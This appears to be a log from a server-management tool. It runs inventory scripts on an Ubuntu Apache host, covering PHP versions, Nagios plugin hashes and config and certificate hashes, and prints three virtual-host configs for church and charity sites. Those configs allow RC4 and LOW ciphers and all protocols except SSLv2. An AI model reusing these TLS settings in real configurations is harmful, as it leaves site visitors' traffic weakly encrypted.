AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
Loaded Modules:
 core_module (static)
 so_module (static)
 watchdog_module (static)
 http_module (static)
 log_config_module (static)
 logio_module (static)
 version_module (static)
 unixd_module (static)
 access_compat_module (shared)
 alias_module (shared)
 auth_basic_module (shared)
 authn_core_module (shared)
 authn_file_module (shared)
 authz_core_module (shared)
 authz_host_module (shared)
 authz_user_module (shared)
 autoindex_module (shared)
 deflate_module (shared)
 dir_module (shared)
 env_module (shared)
 filter_module (shared)
 headers_module (shared)
 mime_module (shared)
 mpm_prefork_module (shared)
 negotiation_module (shared)
 php7_module (shared)
 proxy_module (shared)
 proxy_fcgi_module (shared)
 reqtimeout_module (shared)
 rewrite_module (shared)
 setenvif_module (shared)
 socache_shmcb_module (shared)
 ssl_module (shared)
 status_module (shared)


2025-12-23 12:14:08: 

SERVER INFO (php_model): array (
  'debian' => 1,
  'redhat' => 0,
  'name' => 'mars',
  'arch' => 'x86_64',
  'raspbian' => 0,
  'osdesc' => 'Ubuntu 22.04.5 LTS',
  'rel' => '22.04.5',
  'mac' => 0,
  'distro' => 'ubuntu',
  'web' => 
  array (
    'apache2' => 
    array (
      'conf' => 'apache2.conf',
      'config' => '/etc/apache2',
      'user' => 'www-data',
      'group' => 'www-data',
      'available' => 'sites-available',
      'running' => 1,
    ),
    'modules' => 
    array (
      0 => 'core_module',
      1 => 'so_module',
      2 => 'watchdog_module',
      3 => 'http_module',
      4 => 'log_config_module',
      5 => 'logio_module',
      6 => 'version_module',
      7 => 'unixd_module',
      8 => 'access_compat_module',
      9 => 'alias_module',
      10 => 'auth_basic_module',
      11 => 'authn_core_module',
      12 => 'authn_file_module',
      13 => 'authz_core_module',
      14 => 'authz_host_module',
      15 => 'authz_user_module',
      16 => 'autoindex_module',
      17 => 'deflate_module',
      18 => 'dir_module',
      19 => 'env_module',
      20 => 'filter_module',
      21 => 'headers_module',
      22 => 'mime_module',
      23 => 'mpm_prefork_module',
      24 => 'negotiation_module',
      25 => 'php7_module',
      26 => 'proxy_module',
      27 => 'proxy_fcgi_module',
      28 => 'reqtimeout_module',
      29 => 'rewrite_module',
      30 => 'setenvif_module',
      31 => 'socache_shmcb_module',
      32 => 'ssl_module',
      33 => 'status_module',
    ),
  ),
)


2025-12-23 12:14:08: 

PUT: /tmp/pkp897885

#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	cat $1 >> $temp_file
	echo >> $temp_file
}

# show available php versions
if [ -f "/usr/bin/apt-get" ]; then
	if ! grep -q -r ondrej /etc/apt/sources.list.d/*; then
		if [ ! -f "/usr/bin/add-apt-repository" ]; then
			apt-get -y install software-properties-common > $temp_file 2>&1
		fi
		apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 4F4EA0AAE5267A6C  > $temp_file 2>&1
		add-apt-repository -y ppa:ondrej/php > $temp_file 2>&1
		apt-get update > $temp_file 2>&1
	fi
	echo $BOUNDARY >> $temp_file
	echo apt-get >> $temp_file
	apt-cache search --names-only '^php[0-9].[0-9]$' >> $temp_file
	echo >> $temp_file
fi

gzip -cn9 $temp_file
rm $temp_file


2025-12-23 12:14:08: 

chmod 755 /tmp/pkp897885; /tmp/pkp897885; rm /tmp/pkp897885

2025-12-23 12:14:08: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
apt-get
php8.1 - server-side, HTML-embedded scripting language (metapackage)
php8.2 - server-side, HTML-embedded scripting language (metapackage)
php8.4 - server-side, HTML-embedded scripting language (metapackage)



2025-12-23 12:14:08: 

PUT: /tmp/pkp565186

#!/bin/bash
	dest=`dpkg -L php7.2-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.2]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.3-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.3]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.0-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.0-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.0]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.1-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.1-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.1]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.1-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.1-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.1]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.2-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.2]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.2-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.2]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.4-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.4]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.4-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.4]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi



2025-12-23 12:14:09: 

chmod 755 /tmp/pkp565186; /tmp/pkp565186; rm /tmp/pkp565186

2025-12-23 12:14:09: 


[php8.2]
php=/usr/bin/php8.2
fpm=/etc/php/8.2/fpm/pool.d
version=8.2.28
[php8.2]
php=/usr/bin/php8.2
fpm=/etc/php/8.2/fpm/pool.d
version=8.2.28
[php8.4]
php=/usr/bin/php8.4
fpm=/etc/php/8.4/fpm/pool.d
version=8.4.7
[php8.4]
php=/usr/bin/php8.4
fpm=/etc/php/8.4/fpm/pool.d
version=8.4.7


2025-12-23 12:14:09: 

PUT: /tmp/pkp841120

#!/usr/bin/python3
import gzip, sys, os, glob, hashlib, tempfile, codecs

jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def collectCfgFiles(filename):
        config = []
        f = open(filename, 'r')
        file = f.readlines()
        for v in file:
                v = v.rstrip()
                if v != '' and v[0] != '#':
                        p = v.find('=')
                        if p > -1:
                                key = v[:p].strip()
                                value=v[p+1:].strip()
                                if key == 'cfg_file':
                                        config.append(value)
        f.close()
        return config

def generate_hash(filename, type = 'MD5'):
        digest = hashlib.md5(open(filename, 'rb').read()).hexdigest()
        payload = type + '(' + filename + ')= ' + digest + "\n"
        gz.write(payload.encode('cp437'))

def scan_folder(folder):
        if os.path.isdir(folder):
                filelist = glob.glob(folder + '/check*')
                for filename in filelist:
                        generate_hash(filename, 'bin')
        return

try:
        try:
                filelist = collectCfgFiles('/usr/local/nagios/etc/nagios.cfg')
                for file in filelist:
                        generate_hash(file)

        except:
                pass

        scan_folder('/usr/local/nagios/libexec')

finally:
        gz.close();
        
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)
        

2025-12-23 12:14:09: 

chmod 755 /tmp/pkp841120; /tmp/pkp841120; rm /tmp/pkp841120

2025-12-23 12:14:09: 
(gzipped output)


bin(/usr/local/nagios/libexec/check_real)= 5e19b5c5e40d6e40d16e3505da57cb05
bin(/usr/local/nagios/libexec/check_ssh)= 7eb26e24dd1a42d22604ce66244caa14
bin(/usr/local/nagios/libexec/check_ntp_time)= ce45c72f86257b3227330cdf654bb241
bin(/usr/local/nagios/libexec/check_dummy)= 9059e3043eb48f4de81b72d7b0951b8d
bin(/usr/local/nagios/libexec/check_ssmtp)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_pop)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_imap)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_wave)= 588c42d881cec26eea20887eb7623192
bin(/usr/local/nagios/libexec/check_ntp_peer)= 4e4ee59fada8b591e57cb93b33f1c085
bin(/usr/local/nagios/libexec/check_debian_packages)= c962dac5b49c230319a8f132131c5818
bin(/usr/local/nagios/libexec/check_ifstatus)= 56e28d6c53150a0c44f7e787d85b7214
bin(/usr/local/nagios/libexec/check_rpc)= 55ecb23b0cecfbdae0d6992bafa076e7
bin(/usr/local/nagios/libexec/check_simap)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_ide_smart)= 0cee3da97cc6ea0e77032283737a7f93
bin(/usr/local/nagios/libexec/check_breeze)= 543a2238e7ae9adcb040b2a635b6ce81
bin(/usr/local/nagios/libexec/check_dns)= e026bfbb50a3ed080497cf86304af190
bin(/usr/local/nagios/libexec/check_php.php)= ea35782ed63579f5f868c61f2e762602
bin(/usr/local/nagios/libexec/check_ntp)= ef86f455d0dd980f5bf465d501a1ee24
bin(/usr/local/nagios/libexec/check_nagios)= 16f78531ef10d8bd815637619ad8810f
bin(/usr/local/nagios/libexec/check_overcr)= 6347d00b93fd427d3aeb5bec85284eb1
bin(/usr/local/nagios/libexec/check_nntp)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_spop)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_ftp)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_oracle)= 9017feb302cac9c1882dd3d2a7371f68
bin(/usr/local/nagios/libexec/check_swap)= 7d1237348d1b008206ef0efcf16e0964
bin(/usr/local/nagios/libexec/check_sensors)= 4694b2d104a9c9c1d500404e08810ab2
bin(/usr/local/nagios/libexec/check_jabber)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_by_ssh)= e005655c209de4e02d7c15dee194b5ef
bin(/usr/local/nagios/libexec/check_udp)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_dig)= 94fc177ae79310de86dea510479a152a
bin(/usr/local/nagios/libexec/check_http)= 6568222b2189dca9bbaf20a9975f85ca
bin(/usr/local/nagios/libexec/check_nt)= 9708478e65a9716ed2e8d1aa50b54db5
bin(/usr/local/nagios/libexec/check_disk_smb)= dd9ec10a3f651d4bb85d452e8a001408
bin(/usr/local/nagios/libexec/check_mrtg)= 37f24463db28f6a36a5768b16c1031ed
bin(/usr/local/nagios/libexec/check_clamd)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_users)= ab663ac97799aed910e34f86e5c855a4
bin(/usr/local/nagios/libexec/check_ircd)= eb49495402862ca1099bdfd818306243
bin(/usr/local/nagios/libexec/check_procs)= f29608085acf9a38f234c0633dc2dc9c
bin(/usr/local/nagios/libexec/check_log)= 74401f254cd3b3b9238b9b71d362ec50
bin(/usr/local/nagios/libexec/check_mailq)= b1a6343b9f983e685559dd629c5242cf
bin(/usr/local/nagios/libexec/check_ssl_cert.php)= a5e2b217dabfd686330a66f41b0d4d90
bin(/usr/local/nagios/libexec/check_nwstat)= c3efb603d314713069ac36e56601783e
bin(/usr/local/nagios/libexec/check_mrtgtraf)= 862b0b548b97639ba427d77d6cb71357
bin(/usr/local/nagios/libexec/check_tcp)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_file_exists)= 499adf459b71d925c1b3a6dbb5955cf9
bin(/usr/local/nagios/libexec/check_apt)= 6677ebd71abab66b6f0c50d71e35c286
bin(/usr/local/nagios/libexec/check_time)= b370fd03db2fa24b3009eefd517679ad
bin(/usr/local/nagios/libexec/check_smtp)= d3ee9c6688d0c78a4226d8c00d4e906f
bin(/usr/local/nagios/libexec/check_ping)= 58e5bf40f290b978930addeae210dad9
bin(/usr/local/nagios/libexec/check_flexlm)= 1dea6dadb259a5b53aeb31f64650ffb1
bin(/usr/local/nagios/libexec/check_service)= 8e2475317d2e7a9c6645dba25f338011
bin(/usr/local/nagios/libexec/check_cluster)= b8e413a332691789bcee09b1d0f29f78
bin(/usr/local/nagios/libexec/check_disk)= b0caf9f66b7d4887f9c3919c43183426
bin(/usr/local/nagios/libexec/check_uptime)= 10f6dd18860423bd8500f4b83ea64933
bin(/usr/local/nagios/libexec/check_icmp)= c1fa73d619604ec52d01e46a576a1bd3
bin(/usr/local/nagios/libexec/check_nntps)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_load)= adaa7c893c89d114b45043d3b8ab64bf
bin(/usr/local/nagios/libexec/check_ifoperstatus)= 3599b505059ecf7a1838782dae75d82f
bin(/usr/local/nagios/libexec/check_ups)= e60fb0dd7c6d47261deaed95074ed052
bin(/usr/local/nagios/libexec/check_file_age)= d45ede358999e4b9a7784006ca507715
bin(/usr/local/nagios/libexec/check_ssl_validity)= eeaee8f9f357138a49640d4f416530ce
bin(/usr/local/nagios/libexec/check_dhcp)= 05ce7fcaa48ebfccf353943bad4101ca


2025-12-23 12:14:09: 

PUT: /tmp/pkp515449

#!/bin/bash

install=
if [ -f "/usr/bin/yum" ]; then
	if [ ! -f "/usr/bin/openssl" ]; then
		install="$install openssl"
	fi
	rpm -qi mod_ssl > /dev/null 2>&1
	retVal=$?
	if [ $retVal -ne 0 ]; then
		install="$install mod_ssl"
	fi
	if [ ! -z $install ]; then
		yum -y install $install
		systemctl restart apache2
		echo status=restarted
	else
		echo status=ok
	fi
elif [ -f "/usr/bin/apt-get" ]; then

	if [ ! -f "/usr/bin/openssl" ]; then
		apt-get update
		apt-get -y install openssl
	fi

	if [ ! -f "/etc/apache2/mods-enabled/ssl.conf" ] ; then
		a2enmod -q ssl
		systemctl restart apache2
	fi
	echo status=ok
fi



2025-12-23 12:14:09: 

chmod 755 /tmp/pkp515449; /tmp/pkp515449; rm /tmp/pkp515449

2025-12-23 12:14:09: 


status=ok


2025-12-23 12:14:09: 

PUT: /tmp/pkp894180

#!/usr/bin/python3
import os, sys, glob, hashlib, re, gzip, tempfile, codecs

jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def generate_hash_certificate(content, folder):
    file = content.split("\n")
    for v in file:
        v = v.strip()
        if v != '' and v[0] != '#':
            match = re.search('sslcertificatefile\s+(.*?)$', v, flags=re.IGNORECASE)
            if match is not None:
                filename = match.group(1)
                filename = normalize_path(folder, filename, True)
                generate_hash(filename, folder)

def normalize_path(basepath, relativepath, isFile):
    if relativepath[:1] == '/':
        return relativepath
    if isFile:
        basename = os.path.basename(relativepath)
        relativepath = os.path.dirname(relativepath)
    else:
        basename = ''

    basepath = basepath.split('/')
    relativepath = relativepath.split('/')
    for element in relativepath:
        if element == '..':
            basepath.pop()
        elif element != '.' and element != '':
            basepath.append(element)
    basepath = '/'.join(basepath)
    if basename != '':
        basepath += '/' + basename
    return basepath

def generate_hash(filename, folder):
    if os.path.islink(filename):
        target = os.readlink(filename)
        target = normalize_path(folder, target, True)
        payload = 'link(' + filename + ')= ' + target + "\n"
        gz.write(payload.encode('cp437'))
        return
    content = open(filename).read()
    filehash = hashlib.md5()
    filehash.update(content.encode('cp437'))
    payload = 'MD5(' + filename + ')= ' + filehash.hexdigest() + "\n"
    gz.write(payload.encode('cp437'))
    lower_content = content.lower()
    if lower_content.find('sslcertificatefile') > -1:
        generate_hash_certificate(content, folder)
    return

def scan_folder(folder):
    if os.path.isdir(folder):
        filelist = glob.glob(folder + '/*.conf')
        for filename in filelist:
            generate_hash(filename, folder)
    return

try:
	APACHE_ROOT = '/etc/apache2'
	scan_folder(APACHE_ROOT)
	scan_folder(APACHE_ROOT + '/conf.d')
	scan_folder(APACHE_ROOT + '/conf.modules.d')

	scan_folder(APACHE_ROOT + '/sites-available')
	scan_folder(APACHE_ROOT + '/sites-enabled')
	scan_folder(APACHE_ROOT + '/hosts.d')

finally:
    gz.close()

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-12-23 12:14:09: 

chmod 755 /tmp/pkp894180; /tmp/pkp894180; rm /tmp/pkp894180

2025-12-23 12:14:09: 
2025-12-23 12:14:09: 

PUT: /tmp/pkp255826

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-available/carelinksaustralia_www_info.conf')
    show_file('/etc/apache2/sites-available/hopeinstoughton_backup_org.conf')
    show_file('/etc/apache2/sites-available/hopeinstoughton_media_org.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-12-23 12:14:09: 

chmod 755 /tmp/pkp255826; /tmp/pkp255826; rm /tmp/pkp255826

2025-12-23 12:14:09: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/carelinksaustralia_www_info.conf	1362

<VirtualHost *:80>
    ServerName	carelinksaustralia.info
    ServerAdmin	do_not_email@example.com
    ServerAlias	www.carelinksaustralia.info
    DocumentRoot	/var/www/carelinksaustralia_www
    <Directory /var/www/carelinksaustralia_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/carelinksaustralia/www_access.log combined
    ErrorLog	/var/log/apache2/carelinksaustralia/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	carelinksaustralia.info
    ServerAdmin	do_not_email@example.com
    ServerAlias	www.carelinksaustralia.info
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/01bea5c16e52f9c5f2fcf9fea9a569f2.crt
    DocumentRoot	/var/www/carelinksaustralia_www
    <Directory /var/www/carelinksaustralia_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/carelinksaustralia/www_secure_access.log combined
    ErrorLog	/var/log/apache2/carelinksaustralia/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>





----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/hopeinstoughton_backup_org.conf	1700

<VirtualHost *:80>
    ServerName	backup.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_backup
    <Directory /var/www/hopeinstoughton_backup>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.2-alive.sock|fcgi://localhost"
    </FilesMatch>
    
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteCond	%{REQUEST_URI} !/event
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
    
    CustomLog	/var/log/apache2/hopeinstoughton/backup_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/backup_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	backup.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/4190d696888bea52996fb61a0a63827a.crt
    DocumentRoot	/var/www/hopeinstoughton_backup
    <Directory /var/www/hopeinstoughton_backup>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        
        Order	allow,deny
        allow	from all
    </Directory>
    
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.2-alive.sock|fcgi://localhost"
    </FilesMatch>
    
    CustomLog	/var/log/apache2/hopeinstoughton/backup_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/backup_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>





----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/hopeinstoughton_media_org.conf	1673

<VirtualHost *:80>
    ServerName	media.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_media/public
    <Directory /var/www/hopeinstoughton_media>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    <Directory /var/www/hopeinstoughton_media/public/static>
        Header	add Access-Control-Allow-Origin "*"
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/media_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/media_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	media.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/761f20410d05cde2a6e96bdaa7145760.crt
    DocumentRoot	/var/www/hopeinstoughton_media/public
    <Directory /var/www/hopeinstoughton_media>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    <Directory /var/www/hopeinstoughton_media/public/static>
        Header	add Access-Control-Allow-Origin "*"
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/media_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/media_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







(gzipped output)


MD5(/etc/apache2/ports.conf)= a961f23471d985c2b819b652b7f64321
MD5(/etc/apache2/apache2.conf)= 20589b50379161ebc8cb35f761af2646
MD5(/etc/apache2/sites-available/croydonchurch_www_info.conf)= de5778253e92019758e42ba4bd5e8ed5
MD5(/etc/ssl/certs/0bcccb20615b0c7868de66072345a8b6.crt)= a1aba36d5064005600a72aab79017da9
MD5(/etc/apache2/sites-available/maminas_www_info.conf)= 9cc34fbadf9246b60a8c82e2f423c9e9
MD5(/etc/ssl/certs/aa64a65ef2076a4bf3eeaac96e0b38a2.crt)= 74a225c1691d3c388c0dabd4c745b5b5
MD5(/etc/apache2/sites-available/carelinks_www_org-au.conf)= bea1c410df503f5c8a140930e02bdd8b
MD5(/etc/ssl/certs/05659106679de2a1894b27eede09c1b3.crt)= efe632de3aaf49888faf4b5510e1c8e0
MD5(/etc/apache2/sites-available/carelinks_www_org-uk.conf)= 13c0ae8eb21eac468e9f6afba3bde463
MD5(/etc/ssl/certs/86cfc05b70ff27e9bd43265985e9e664.crt)= e59a421f795ac013c5d90bb30da825c1
MD5(/etc/apache2/sites-available/r-b-c_www_org.conf)= 28acf9b6c6c1defc473eee4d22d963a1
MD5(/etc/ssl/certs/86d2c41eb90f4cb26f05730c2abdf7ea.crt)= 1f21b071ddedee3af411dfedc7da6d06
MD5(/etc/apache2/sites-available/carelinks-uk_www_org.conf)= 7698a6d27320f3dd439958b4cbb016b0
MD5(/etc/ssl/certs/50ea9c948624fd26b0aa34d6cc8b41c6.crt)= 3561de179ad84bfe0240150d635af61c
MD5(/etc/apache2/sites-available/vards_www_info.conf)= 3ab195fb7a9c9280f3f22c96e086f160
MD5(/etc/ssl/certs/5c147bca0a238ba09c5472db1d5debd9.crt)= ac85e89c2da1ccffe799d1216dac3cd4
MD5(/etc/apache2/sites-available/pjy_croydon_us.conf)= 86950bee017a51fa98cbc51c02d1dd62
MD5(/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb)= d1a350395fe5750eac654f1dc1ac7894
MD5(/etc/apache2/sites-available/dalmenynaroomabushwalkers_www_info.conf)= 1480b663074fec483391ae597a5513ef
MD5(/etc/ssl/certs/65c19728b6c59b5ac40abac85aa0d8fa.crt)= 14b7bb4470ccea0634615a2b4db17359
MD5(/etc/apache2/sites-available/biblebasicsonline_www_com.conf)= f39a106d73153edb8da1df3e5bc1d7a6
MD5(/etc/ssl/certs/6826643b9e24e5e5121c4fe73657b282.crt)= b99943fe4487d80bb2668dee0320a1ef
MD5(/etc/apache2/sites-available/biblealive_www_us.conf)= 4cb67e52d73ce98d31dcec0c352a3b06
MD5(/etc/ssl/certs/fd6dc6f9714389fe5b765b47ecb8e8c1.crt)= bf36eec93304c1c8bb7e36dad95ed775
MD5(/etc/apache2/sites-available/freebible_www_info.conf)= 5d9475b21ba2f9e0bbbae32738a7fbb9
MD5(/etc/ssl/certs/25d244ad83fcb448bd222b7039653b35.crt)= 72d2e7e74a64389a685b122d60458b4b
MD5(/etc/apache2/sites-available/christadelphian_www_video.conf)= 5338fc2406f652e606a4761b8a869341
MD5(/etc/ssl/certs/ef56788a9be5d522516b6c274e285339.crt)= 97f0c7cc702a90836c67b6ebf7640328
MD5(/etc/apache2/sites-available/carelinksaustralia_www_info.conf)= bd4f1d092e6288ceb01fbd1a914e1ebb
MD5(/etc/ssl/certs/01bea5c16e52f9c5f2fcf9fea9a569f2.crt)= 1e23754cf4e32c0828e679b1c9ef5e5b
MD5(/etc/apache2/sites-available/christadelphianfraternal_www_info.conf)= ea10c8b417de303fe2e11ff496867757
MD5(/etc/ssl/certs/b4498780588346731659d115ecf1bb4c.crt)= e471e617b201eeeac5cdf55ddaa73065
MD5(/etc/apache2/sites-available/default-ssl.conf)= 801f4c746a88b4228596cb260a4220c4
MD5(/etc/ssl/certs/ssl-cert-snakeoil.pem)= c202940d12afc709bc209702a23693a1
MD5(/etc/apache2/sites-available/carelinksoutreach_www_info.conf)= cb44c1a0b360d4f45a5bdd2fbc6884d1
MD5(/etc/ssl/certs/b64494a3418593cd7c84316d693a17ce.crt)= 03afa00cea815b53e5d2306e68ff4e20
MD5(/etc/apache2/sites-available/hopeinstoughton_backup_org.conf)= d6dc9d43d121926a46faa5eec5bdcd92
MD5(/etc/ssl/certs/4190d696888bea52996fb61a0a63827a.crt)= 0f1b9b5f9c4f20294bf8a018ef957115
MD5(/etc/apache2/sites-available/osnowybiblii_www_info.conf)= e14143658423f8b0c73a4a18085300aa
MD5(/etc/ssl/certs/0e3e734dd08e3f9fefca36cd65718d9b.crt)= 0d92a6e13d6cc02c23ac829fbe250eaa
MD5(/etc/apache2/sites-available/hostz_mars_org.conf)= 88f5f31beef6497b68a0b8c080aa1b3a
MD5(/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d)= 509d0d0c14b50d4539493a62cbe9e85e
MD5(/etc/apache2/sites-available/000-default.conf)= f3066f67070ab9b1ad9bab81ca05330a
MD5(/etc/apache2/sites-available/realchrist_www_info.conf)= a6b7d2fd0d0f98cbf19ec30bb5a7ea7d
MD5(/etc/ssl/certs/8df29f43e5e79f1c31041f6ee4962ae9.crt)= da6d562ecaaa4a55a783e66cb4036e3f
MD5(/etc/apache2/sites-available/hopeinstoughton_media_org.conf)= 4d7d9c7a117fe73b85302c4606bc86a5
MD5(/etc/ssl/certs/761f20410d05cde2a6e96bdaa7145760.crt)= 282b97e64eaee8c04ec8f3238e6cd5cc
MD5(/etc/apache2/sites-available/bible-basics_www_info.conf)= 35d736d6ea8eac9bc27d8a77cf53c71d
MD5(/etc/ssl/certs/f032ab15fc1dc16ec38ee94209bcf74e.crt)= e6bde7a938cbd28aa8ae8ba9d51a08ea
